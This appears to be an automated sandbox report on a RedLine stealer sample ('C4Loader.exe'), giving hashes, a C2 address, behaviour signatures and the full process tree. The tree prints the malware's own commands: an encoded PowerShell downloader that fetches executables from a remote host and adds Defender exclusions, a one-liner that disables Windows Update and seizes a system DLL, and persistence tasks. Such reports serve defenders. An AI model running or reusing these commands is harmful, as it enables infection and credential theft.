Analysis

  • max time kernel
    144s
  • max time network
    112s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    16-08-2022 16:08

General

  • Target

    C4Loader.exe

  • Size

    5.4MB

  • MD5

    0b9e98abfc3cfa2a2c04902fad9d9016

  • SHA1

    bcedd5e456e9a557223fca8448e3039a93fde13d

  • SHA256

    48d06d66376def1524df74eda17d52955a7240096f68b02012f8709dec02fa46

  • SHA512

    391f868b61868337ba1bbdd2743d5c399cfa509910bf5ce6d86bcb76d990895e31f8c79a40a97eccf0994ad74478024b47d07d6aa1b6a461b1ea7adb5afc2c2a

Malware Config

Extracted

Family

redline

C2

107.182.129.73:21733

Attributes
  • auth_value

    bf3f0909cc45a7db3f5df6f0198db70c

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Possible privilege escalation attempt 2 IoCs
  • Stops running service(s) 3 TTPs
  • Loads dropped DLL 6 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry key 1 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:288
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      2⤵
        PID:856
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1452
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAZwBiACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZAB2AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGYAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZQBhAGYAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwB2AHkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGkAeABxACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGYAcQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwBkAHQAcgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAxAC4AZQB4AGUAJwAsACAAPAAjAHUAYwBmACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeQB6AHYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbAByAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMQAuAGUAeABlACcAKQApADwAIwBmAGEAZAAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBuAHoAcwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGQAaQBmACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGYAdQByACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHkAeQBhACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABVAHAAZABhAHQAZQAuAGUAeABlACcALAAgADwAIwB2AHkAcwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG4AZQB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAegB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABVAHAAZABhAHQAZQAuAGUAeABlACcAKQApADwAIwBzAGQAZgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBnAHYAbQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwB5AGUAegAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBiAHoAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcAByAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMQAuAGUAeABlACcAKQA8ACMAdgB5AGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZwBiAHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHYAawB4ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB1AHQAeQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AGYAYwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbgB2AHIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AFUAcABkAGEAdABlAC4AZQB4AGUAJwApADwAIwBxAGcAeAAjAD4A"
          3⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2044
          • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
            "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1324
          • C:\Users\Admin\AppData\Local\Temp\new1.exe
            "C:\Users\Admin\AppData\Local\Temp\new1.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1088
          • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
            "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:1448
            • C:\Windows\SysWOW64\schtasks.exe
              /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
              5⤵
              • Creates scheduled task(s)
              PID:1636
          • C:\Users\Admin\AppData\Local\Temp\C4Update.exe
            "C:\Users\Admin\AppData\Local\Temp\C4Update.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1752
            • C:\Windows\System32\conhost.exe
              "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\C4Update.exe"
              5⤵
              • Drops file in Drivers directory
              • Drops file in Program Files directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1964
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAZAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAbwB0AHYAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAZQB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAagBvAHUAIwA+AA=="
                6⤵
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1940
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1480
                • C:\Windows\system32\reg.exe
                  reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
                  7⤵
                  • Modifies registry key
                  PID:1644
                • C:\Windows\system32\reg.exe
                  reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                  7⤵
                  • Modifies registry key
                  PID:1624
                • C:\Windows\system32\reg.exe
                  reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                  7⤵
                  • Modifies registry key
                  PID:1788
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
                  7⤵
                    PID:1396
                  • C:\Windows\system32\reg.exe
                    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                    7⤵
                    • Modifies registry key
                    PID:1904
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
                    7⤵
                      PID:1292
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
                      7⤵
                        PID:1360
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
                        7⤵
                          PID:880
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                          7⤵
                            PID:1452
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
                            7⤵
                              PID:1328
                            • C:\Windows\system32\schtasks.exe
                              SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                              7⤵
                                PID:288
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdaterScanMachine" /tr "\"C:\Program Files\WindowsTasks\Defender\DefenderUpdater.exe\""
                              6⤵
                                PID:840
                                • C:\Windows\system32\schtasks.exe
                                  schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdaterScanMachine" /tr "\"C:\Program Files\WindowsTasks\Defender\DefenderUpdater.exe\""
                                  7⤵
                                  • Creates scheduled task(s)
                                  PID:1208
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdaterScanMachine"
                                6⤵
                                  PID:872
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /run /tn "GoogleUpdaterScanMachine"
                                    7⤵
                                      PID:876
                        • C:\Windows\system32\sc.exe
                          sc stop WaaSMedicSvc
                          1⤵
                          • Launches sc.exe
                          PID:880
                        • C:\Windows\system32\reg.exe
                          reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
                          1⤵
                          • Modifies registry key
                          PID:616
                        • C:\Windows\system32\reg.exe
                          reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
                          1⤵
                          • Modifies security service
                          • Modifies registry key
                          PID:1140
                        • C:\Windows\system32\icacls.exe
                          icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                          1⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:528
                        • C:\Windows\system32\takeown.exe
                          takeown /f C:\Windows\System32\WaaSMedicSvc.dll
                          1⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1196
                        • C:\Windows\system32\reg.exe
                          reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
                          1⤵
                          • Modifies registry key
                          PID:1636
                        • C:\Windows\system32\reg.exe
                          reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
                          1⤵
                          • Modifies registry key
                          PID:1924
                        • C:\Windows\system32\reg.exe
                          reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
                          1⤵
                          • Modifies registry key
                          PID:1956
                        • C:\Windows\system32\sc.exe
                          sc stop dosvc
                          1⤵
                          • Launches sc.exe
                          PID:1328
                        • C:\Windows\system32\sc.exe
                          sc stop bits
                          1⤵
                          • Launches sc.exe
                          PID:1756
                        • C:\Windows\system32\sc.exe
                          sc stop wuauserv
                          1⤵
                          • Launches sc.exe
                          PID:1076
                        • C:\Windows\system32\sc.exe
                          sc stop UsoSvc
                          1⤵
                          • Launches sc.exe
                          PID:1360
                        • C:\Windows\system32\taskeng.exe
                          taskeng.exe {346F0608-4D0F-4D0D-B1B3-B7142543406C} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
                          1⤵
                            PID:936
                            • C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                              C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                              2⤵
                              • Executes dropped EXE
                              • Suspicious behavior: EnumeratesProcesses
                              PID:840

                          Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                            Filesize

                            2.7MB

                            MD5

                            43a0526a928f9daca9c953221406af8e

                            SHA1

                            34fdd0d94ecfe8c887ebb164068579013d2c611b

                            SHA256

                            88e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986

                            SHA512

                            9632a96172d6db2d7b0e356a2bb661b397b3c8b380fbe151707322d204cee0ab82abbec4476ce6e43f5dfa67b9ae34d77909fbc966d431898b25dec9fbaea3fd

                          • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                            Filesize

                            2.7MB

                            MD5

                            43a0526a928f9daca9c953221406af8e

                            SHA1

                            34fdd0d94ecfe8c887ebb164068579013d2c611b

                            SHA256

                            88e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986

                            SHA512

                            9632a96172d6db2d7b0e356a2bb661b397b3c8b380fbe151707322d204cee0ab82abbec4476ce6e43f5dfa67b9ae34d77909fbc966d431898b25dec9fbaea3fd

                          • C:\Users\Admin\AppData\Local\Temp\C4Update.exe

                            Filesize

                            7.4MB

                            MD5

                            d5161722ad6b1c8e92214f444766cf36

                            SHA1

                            3fb04eb73417c8f43e6f9870e4d3f7d4f5cd0178

                            SHA256

                            58bfe2cebc786e38b71176fa64986cbae3080ce49f2e6d97f79233404c0f3028

                            SHA512

                            1728b3525f2c1c6a99c1b0e83b3433acccec0322f29bf670bc0b3011f1c81c82e808a24fd1580a56a68155856dd30b453a119afe6a6eb8e38e5bc12198b11a4a

                          • C:\Users\Admin\AppData\Local\Temp\C4Update.exe

                            Filesize

                            7.4MB

                            MD5

                            d5161722ad6b1c8e92214f444766cf36

                            SHA1

                            3fb04eb73417c8f43e6f9870e4d3f7d4f5cd0178

                            SHA256

                            58bfe2cebc786e38b71176fa64986cbae3080ce49f2e6d97f79233404c0f3028

                            SHA512

                            1728b3525f2c1c6a99c1b0e83b3433acccec0322f29bf670bc0b3011f1c81c82e808a24fd1580a56a68155856dd30b453a119afe6a6eb8e38e5bc12198b11a4a

                          • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                            Filesize

                            1.5MB

                            MD5

                            4d983d3bf57a1dd138034f68ae61c013

                            SHA1

                            15c18965b9b20f940552776e2998ae969b6c0514

                            SHA256

                            7a4fb7716f5226a48b13e1d66c4318dc76e2368e81fd359f1a9961486bebb58d

                            SHA512

                            fe80805531c19d9726a9f7bb329bf20595e986dafe3bfd2ed0407e80bfa0526e2a7cb6908f64da53071d7b29f97d2567fe272b421afa57c859db9c752abc0b36

                          • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                            Filesize

                            1.5MB

                            MD5

                            4d983d3bf57a1dd138034f68ae61c013

                            SHA1

                            15c18965b9b20f940552776e2998ae969b6c0514

                            SHA256

                            7a4fb7716f5226a48b13e1d66c4318dc76e2368e81fd359f1a9961486bebb58d

                            SHA512

                            fe80805531c19d9726a9f7bb329bf20595e986dafe3bfd2ed0407e80bfa0526e2a7cb6908f64da53071d7b29f97d2567fe272b421afa57c859db9c752abc0b36

                          • C:\Users\Admin\AppData\Local\Temp\new1.exe

                            Filesize

                            1.4MB

                            MD5

                            ecda9264fc1d959ffe35dc9accdd435a

                            SHA1

                            72d7caf672d8b7ef901df21cee98b05a3290ac72

                            SHA256

                            43590720dd2ae12f9fd462c5b4ef008a7e4795d12262e7d8f39006315c785321

                            SHA512

                            4a6cb551db4d3f9f1ec334914d025f931a3b672e498bae72c18a7ed9aa83043e21bad7b0949f5fe8ad184b098be7fd5addcd5fb2fdbbfc535d5be2ac0164411e

                          • C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

                            Filesize

                            1.5MB

                            MD5

                            4d983d3bf57a1dd138034f68ae61c013

                            SHA1

                            15c18965b9b20f940552776e2998ae969b6c0514

                            SHA256

                            7a4fb7716f5226a48b13e1d66c4318dc76e2368e81fd359f1a9961486bebb58d

                            SHA512

                            fe80805531c19d9726a9f7bb329bf20595e986dafe3bfd2ed0407e80bfa0526e2a7cb6908f64da53071d7b29f97d2567fe272b421afa57c859db9c752abc0b36

                          • C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

                            Filesize

                            1.5MB

                            MD5

                            4d983d3bf57a1dd138034f68ae61c013

                            SHA1

                            15c18965b9b20f940552776e2998ae969b6c0514

                            SHA256

                            7a4fb7716f5226a48b13e1d66c4318dc76e2368e81fd359f1a9961486bebb58d

                            SHA512

                            fe80805531c19d9726a9f7bb329bf20595e986dafe3bfd2ed0407e80bfa0526e2a7cb6908f64da53071d7b29f97d2567fe272b421afa57c859db9c752abc0b36

                          • \Users\Admin\AppData\Local\Temp\C4Loader.exe

                            Filesize

                            2.7MB

                            MD5

                            43a0526a928f9daca9c953221406af8e

                            SHA1

                            34fdd0d94ecfe8c887ebb164068579013d2c611b

                            SHA256

                            88e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986

                            SHA512

                            9632a96172d6db2d7b0e356a2bb661b397b3c8b380fbe151707322d204cee0ab82abbec4476ce6e43f5dfa67b9ae34d77909fbc966d431898b25dec9fbaea3fd

                          • \Users\Admin\AppData\Local\Temp\C4Update.exe

                            Filesize

                            7.4MB

                            MD5

                            d5161722ad6b1c8e92214f444766cf36

                            SHA1

                            3fb04eb73417c8f43e6f9870e4d3f7d4f5cd0178

                            SHA256

                            58bfe2cebc786e38b71176fa64986cbae3080ce49f2e6d97f79233404c0f3028

                            SHA512

                            1728b3525f2c1c6a99c1b0e83b3433acccec0322f29bf670bc0b3011f1c81c82e808a24fd1580a56a68155856dd30b453a119afe6a6eb8e38e5bc12198b11a4a

                          • \Users\Admin\AppData\Local\Temp\SysApp.exe

                            Filesize

                            1.5MB

                            MD5

                            4d983d3bf57a1dd138034f68ae61c013

                            SHA1

                            15c18965b9b20f940552776e2998ae969b6c0514

                            SHA256

                            7a4fb7716f5226a48b13e1d66c4318dc76e2368e81fd359f1a9961486bebb58d

                            SHA512

                            fe80805531c19d9726a9f7bb329bf20595e986dafe3bfd2ed0407e80bfa0526e2a7cb6908f64da53071d7b29f97d2567fe272b421afa57c859db9c752abc0b36

                          • \Users\Admin\AppData\Local\Temp\SysApp.exe

                            Filesize

                            1.5MB

                            MD5

                            4d983d3bf57a1dd138034f68ae61c013

                            SHA1

                            15c18965b9b20f940552776e2998ae969b6c0514

                            SHA256

                            7a4fb7716f5226a48b13e1d66c4318dc76e2368e81fd359f1a9961486bebb58d

                            SHA512

                            fe80805531c19d9726a9f7bb329bf20595e986dafe3bfd2ed0407e80bfa0526e2a7cb6908f64da53071d7b29f97d2567fe272b421afa57c859db9c752abc0b36

                          • \Users\Admin\AppData\Local\Temp\new1.exe

                            Filesize

                            1.4MB

                            MD5

                            ecda9264fc1d959ffe35dc9accdd435a

                            SHA1

                            72d7caf672d8b7ef901df21cee98b05a3290ac72

                            SHA256

                            43590720dd2ae12f9fd462c5b4ef008a7e4795d12262e7d8f39006315c785321

                            SHA512

                            4a6cb551db4d3f9f1ec334914d025f931a3b672e498bae72c18a7ed9aa83043e21bad7b0949f5fe8ad184b098be7fd5addcd5fb2fdbbfc535d5be2ac0164411e

                          • \Users\Admin\AppData\Local\Temp\new1.exe

                            Filesize

                            1.4MB

                            MD5

                            ecda9264fc1d959ffe35dc9accdd435a

                            SHA1

                            72d7caf672d8b7ef901df21cee98b05a3290ac72

                            SHA256

                            43590720dd2ae12f9fd462c5b4ef008a7e4795d12262e7d8f39006315c785321

                            SHA512

                            4a6cb551db4d3f9f1ec334914d025f931a3b672e498bae72c18a7ed9aa83043e21bad7b0949f5fe8ad184b098be7fd5addcd5fb2fdbbfc535d5be2ac0164411e

                          • memory/288-154-0x0000000000000000-mapping.dmp

                          • memory/288-65-0x0000000002D60000-0x0000000002DD5000-memory.dmp

                            Filesize

                            468KB

                          • memory/288-57-0x00000000027C0000-0x0000000002E1A000-memory.dmp

                            Filesize

                            6.4MB

                          • memory/288-72-0x0000000002E20000-0x0000000002F61000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/288-62-0x0000000000400000-0x0000000000D30000-memory.dmp

                            Filesize

                            9.2MB

                          • memory/288-59-0x0000000002E20000-0x0000000002F61000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/288-58-0x00000000027C0000-0x0000000002E1A000-memory.dmp

                            Filesize

                            6.4MB

                          • memory/288-70-0x0000000000400000-0x0000000000D30000-memory.dmp

                            Filesize

                            9.2MB

                          • memory/288-60-0x0000000075B11000-0x0000000075B13000-memory.dmp

                            Filesize

                            8KB

                          • memory/288-61-0x0000000002E20000-0x0000000002F61000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/288-56-0x0000000000400000-0x0000000000D30000-memory.dmp

                            Filesize

                            9.2MB

                          • memory/288-64-0x0000000002E20000-0x0000000002F61000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/288-63-0x00000000027C0000-0x0000000002E1A000-memory.dmp

                            Filesize

                            6.4MB

                          • memory/288-54-0x0000000000400000-0x0000000000D30000-memory.dmp

                            Filesize

                            9.2MB

                          • memory/528-134-0x0000000000000000-mapping.dmp

                          • memory/616-129-0x0000000000000000-mapping.dmp

                          • memory/840-171-0x00000000021C0000-0x000000000284A000-memory.dmp

                            Filesize

                            6.5MB

                          • memory/840-173-0x0000000001FF0000-0x0000000002138000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/840-169-0x0000000000000000-mapping.dmp

                          • memory/840-172-0x00000000021C0000-0x000000000284A000-memory.dmp

                            Filesize

                            6.5MB

                          • memory/840-175-0x0000000001FF0000-0x0000000002138000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/840-135-0x0000000000000000-mapping.dmp

                          • memory/872-138-0x0000000000000000-mapping.dmp

                          • memory/876-139-0x0000000000000000-mapping.dmp

                          • memory/880-124-0x0000000000000000-mapping.dmp

                          • memory/880-151-0x0000000000000000-mapping.dmp

                          • memory/1076-125-0x0000000000000000-mapping.dmp

                          • memory/1088-143-0x0000000002970000-0x0000000002990000-memory.dmp

                            Filesize

                            128KB

